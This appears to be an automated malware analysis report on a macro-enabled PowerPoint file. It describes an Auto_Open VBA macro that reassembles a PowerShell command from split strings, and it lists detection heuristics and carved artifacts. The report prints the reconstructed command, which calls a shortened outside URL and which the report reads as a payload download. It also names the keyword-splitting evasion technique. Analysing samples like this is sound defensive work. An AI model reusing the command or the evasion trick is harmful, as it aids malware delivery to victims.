Malware Insights
The sample contains a VBA macro with an Auto_Open subroutine that is triggered upon opening the document. This macro reconstructs and executes a PowerShell command. The command is constructed from split string literals, specifically 'powershell.exe -c "cmd msgsbox/rmsta https://www.bitly.com/teyiuwqbdmnasvdmasvdnasksjd"'. This indicates the macro's intent is to download and execute a second-stage payload from the specified URL using PowerShell. The use of obfuscation techniques like string splitting and the execution of an external process via ShellExecuteA are common in malware.
Heuristics 4
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
VBA project inside OOXML medium OOXML_VBADocument contains a VBA project — VBA macros present
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas83f0aa7166f3de122a718b0bde2df6871b333e5ca23a4fd05ae2deabdd289571 |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2401 bytes |
vbaProject_00.bin6ae3a8c5c3e160c6018e5fbd2febca64f48cc0c431d00d247af0d72a1cf63a0a |
vba-project | OOXML VBA project: ppt/vbaProject.bin | 23040 bytes |
Open this report in the interactive analyzer, or submit your own file for analysis.